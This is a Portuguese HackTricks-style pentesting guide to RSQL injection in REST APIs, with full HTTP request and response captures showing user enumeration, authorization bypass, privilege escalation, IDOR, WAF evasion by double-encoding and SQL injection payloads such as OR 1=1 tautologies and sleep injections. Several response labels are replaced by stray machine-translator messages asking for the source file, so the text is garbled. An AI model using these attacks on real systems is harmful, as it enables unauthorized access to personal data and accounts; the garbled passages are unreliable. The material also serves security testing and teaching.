RSQL Injection
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é RSQL?
RSQL é uma linguagem de consulta projetada para filtragem parametrizada de entradas em APIs RESTful. Baseada em FIQL (Feed Item Query Language), originalmente especificada por Mark Nottingham para consulta de Atom feeds, RSQL se destaca por sua simplicidade e capacidade de expressar consultas complexas de forma compacta e compatível com URIs via HTTP. Isso a torna uma excelente escolha como linguagem de consulta geral para buscas em endpoints REST.
Visão geral
RSQL Injection é uma vulnerabilidade em aplicações web que usam RSQL como linguagem de consulta em APIs RESTful. Semelhante a SQL Injection e LDAP Injection, essa vulnerabilidade ocorre quando filtros RSQL não são devidamente sanitizados, permitindo que um atacante injete consultas maliciosas para acessar, modificar ou excluir dados sem autorização.
Como funciona?
RSQL permite construir consultas avançadas em APIs RESTful, por exemplo:
/products?filter=price>100;category==electronics
Isso se traduz em uma consulta estruturada que filtra produtos com price maior que 100 e category “electronics”.
Se a aplicação não validar corretamente a entrada do usuário, um atacante poderia manipular o filtro para executar consultas inesperadas, tais como:
/products?filter=id=in=(1,2,3);delete_all==true
Ou até aproveitar para extrair informações sensíveis com consultas booleanas ou subconsultas aninhadas.
Riscos
- Exposição de dados sensíveis: Um atacante pode recuperar informações que não deveriam ser acessíveis.
- Modificação ou exclusão de dados: Injeção de filtros que alteram registros do banco de dados.
- Escalada de privilégios: Manipulação de identificadores que concedem roles através de filtros para enganar a aplicação acessando com privilégios de outros usuários.
- Evasão de controles de acesso: Manipulação de filtros para acessar dados restritos.
- Falsificação de identidade ou IDOR: Modificação de identificadores entre usuários através de filtros que permitem acesso a informações e recursos de outros usuários sem estar devidamente autenticado como tal.
Operadores RSQL suportados
| Operator | Description | Example |
|---|---|---|
; / and | Operador lógico AND. Filtra linhas onde ambas as condições são verdadeiras | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | Operador lógico OR. Filtra linhas onde pelo menos uma condição é verdadeira | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | Executa uma consulta de igualdade. Retorna todas as linhas de myTable onde os valores em columnA são exatamente iguais a queryValue | /api/v2/myTable?q=columnA==queryValue |
=q= | Executa uma consulta de busca. Retorna todas as linhas de myTable onde os valores em columnA contêm queryValue | /api/v2/myTable?q=columnA=q=queryValue |
=like= | Executa uma consulta like. Retorna todas as linhas de myTable onde os valores em columnA são como queryValue | /api/v2/myTable?q=columnA=like=queryValue |
=in= | Executa uma consulta in. Retorna todas as linhas de myTable onde columnA contém valueA OU valueB | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | Executa uma consulta de exclusão. Retorna todas as linhas de myTable onde os valores em columnA não são nem valueA nem valueB | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | Executa uma consulta de não igual. Retorna todas as linhas de myTable onde os valores em columnA não são iguais a queryValue | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | Executa uma consulta not like. Retorna todas as linhas de myTable onde os valores em columnA não são como queryValue | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | Executa uma consulta menor que. Retorna todas as linhas de myTable onde os valores em columnA são menores que queryValue | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | Executa uma consulta menor que ou igual a. Retorna todas as linhas de myTable onde os valores em columnA são menores ou iguais a queryValue | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | Executa uma consulta maior que. Retorna todas as linhas de myTable onde os valores em columnA são maiores que queryValue | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | Executa uma consulta igual ou maior que. Retorna todas as linhas de myTable onde os valores em columnA são iguais ou maiores que queryValue | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | Executa uma consulta from to. Retorna todas as linhas de myTable onde os valores em columnA são iguais ou maiores que o fromValue, e menores ou iguais ao toValue | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Nota: Table based on information from MOLGENIS and rsql-parser applications.
Exemplos
- name==“Kill Bill”;year=gt=2003
- name==“Kill Bill” and year>2003
- genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Nota: Table based on information from rsql-parser application.
Filtros comuns
These filters help refine queries in APIs:
| Filtro | Descrição | Exemplo |
|---|---|---|
filter[users] | Filtra resultados por usuários específicos | /api/v2/myTable?filter[users]=123 |
filter[status] | Filtra por status (active/inactive, completed, etc.) | /api/v2/orders?filter[status]=active |
filter[date] | Filtra resultados dentro de um intervalo de datas | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | Filtra por categoria ou tipo de recurso | /api/v2/products?filter[category]=electronics |
filter[id] | Filtra por um identificador único | /api/v2/posts?filter[id]=42 |
Parâmetros comuns
These parameters help optimize API responses:
| Parâmetro | Descrição | Exemplo |
|---|---|---|
include | Inclui recursos relacionados na resposta | /api/v2/orders?include=customer,items |
sort | Ordena resultados em ordem ascendente ou descendente | /api/v2/users?sort=-created_at |
page[size] | Controla o número de resultados por página | /api/v2/products?page[size]=10 |
page[number] | Especifica o número da página | /api/v2/products?page[number]=2 |
fields[resource] | Define quais campos retornar na resposta | /api/v2/users?fields[users]=id,name,email |
search | Realiza uma busca mais flexível | /api/v2/posts?search=technology |
Vazamento de informação e enumeração de usuários
A solicitação a seguir mostra um endpoint de registro que exige o parâmetro email para verificar se existe algum usuário registrado com esse email e retorna true ou false dependendo se existe ou não no banco de dados:
Requisição
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Por favor, forneça o conteúdo do arquivo src/pentesting-web/rsql-injection.md (ou a seção que quer traduzir) para que eu possa traduzir para português mantendo a mesma sintaxe Markdown/HTML.
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Embora seja esperado /api/registrations?email=<emailAccount>, é possível usar filtros RSQL para tentar enumerar e/ou extrair informações de usuários através do uso de operadores especiais:
Request
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Não recebi o conteúdo do arquivo src/pentesting-web/rsql-injection.md. Por favor cole o texto aqui (incluindo o markdown) que deseja traduzir — manterei todas as tags, links, paths e código conforme solicitado.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
No caso de corresponder a uma conta de e-mail válida, a aplicação retornaria as informações do usuário em vez do clássico “true”, “1” ou algo assim na resposta ao servidor:
Requisição
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Por favor, forneça o conteúdo do arquivo src/pentesting-web/rsql-injection.md para tradução.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Authorization evasion
Neste cenário, partimos de um usuário com um papel básico e no qual não temos permissões privilegiadas (ex.: administrador) para acessar a lista de todos os usuários registrados no banco de dados:
Requisição
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Por favor envie o conteúdo a ser traduzido (o texto completo ou a seção “Response” do arquivo src/pentesting-web/rsql-injection.md). Sem o texto não consigo realizar a tradução.
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Novamente usamos os filtros e operadores especiais que nos permitem uma forma alternativa de obter informações dos users e contornar o access control. Por exemplo, filtre pelos users que contenham a letra “a” no seu user ID:
Requisição
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Resposta
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
É muito provável encontrar determinados endpoints que verificam privilégios de usuário através do seu papel. Por exemplo, estamos lidando com um usuário que não possui privilégios:
Request
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Não recebi o conteúdo do arquivo src/pentesting-web/rsql-injection.md. Por favor cole aqui o texto a ser traduzido (manterei a mesma sintaxe Markdown/HTML e não traduzirei código, tags, paths nem links).
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
Usando certos operadores, podemos enumerar usuários administradores:
Requisição
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Resposta
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
Depois de conhecer o identificador de um usuário administrador, seria possível explorar uma elevação de privilégio substituindo ou adicionando o filtro correspondente pelo identificador do administrador e obtendo os mesmos privilégios:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Resposta
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
Além do uso do parâmetro filter, é possível usar outros parâmetros como include, que permite incluir no resultado certos parâmetros (ex.: idioma, país, senha…).
No exemplo a seguir, são exibidas as informações do nosso perfil de usuário:
Requisição
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Por favor, cole aqui o conteúdo do arquivo src/pentesting-web/rsql-injection.md que você quer traduzir. Vou traduzir o texto relevante para português preservando exatamente a mesma sintaxe Markdown/HTML, código, tags, caminhos e links conforme suas instruções.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
A combinação de filtros pode ser usada para contornar o controle de autorização e obter acesso aos perfis de outros usuários:
Requisição
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Por favor envie o conteúdo do arquivo src/pentesting-web/rsql-injection.md (ou cole aqui) para que eu possa traduzir para o Português mantendo a mesma sintaxe Markdown/HTML e sem traduzir código, links, tags ou paths.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Detecção & fuzzing quickwins
- Verifique suporte a RSQL enviando sondas inofensivas como
?filter=id==test,?q==testou operadores malformados=foo=; APIs verbose frequentemente leak parser errors (“Unknown operator” / “Unknown property”). - Muitas implementações double-parse parâmetros de URL; tente double-encoding
(,),*,;(por exemplo,%2528admin%2529) para contornar blocklists ingênuas e WAFs. - Boolean exfil with wildcards:
filter[users]=email==*%@example.com;status==ACTIVEe inverta a lógica com,(OR) para comparar tamanhos de resposta. - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)enumera rapidamente por ano sem conhecer IDs exatos.
Framework-specific abuse (Elide / JPA Specification / JSON:API)
- Elide e muitos projetos Spring Data REST traduzem RSQL diretamente para JPA Criteria. Quando desenvolvedores adicionam operadores customizados (por exemplo,
=ilike=) e constroem predicados via concatenação de strings ao invés de parâmetros preparados, você pode pivotar para SQLi (payload clássico:name=ilike='%%' OR 1=1--'). - O analytic data store do Elide aceita colunas parametrizadas; combinar params analíticos controlados pelo usuário com filtros RSQL foi a causa raiz do SQLi em CVE-2022-24827. Mesmo que versões corrigidas parametricem corretamente, código bespoke similar frequentemente permanece—procure por expressões SpEL
@JoinFilter/@ReadPermissionque contenham${}e tente injetar';sleep(5);'ou tautologias lógicas. - Backends JSON:API costumam expor tanto
includequantofilter. Filtrar recursos relacionados comfilter[orders]=customer.email==*admin*pode bypassar ACLs de nível superior porque filtros a nível de relação são executados antes das checagens de ownership.
Automation helpers
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"valida payloads localmente e mostra a abstract syntax tree—útil para craftar parênteses balanceados e operadores customizados. - Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- Emparelhe com HTTP fuzzer (ffuf, turbo-intruder) iterando posições curinga
*a*,*e*, etc., dentro de listas=in=para enumerar IDs e emails rapidamente.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


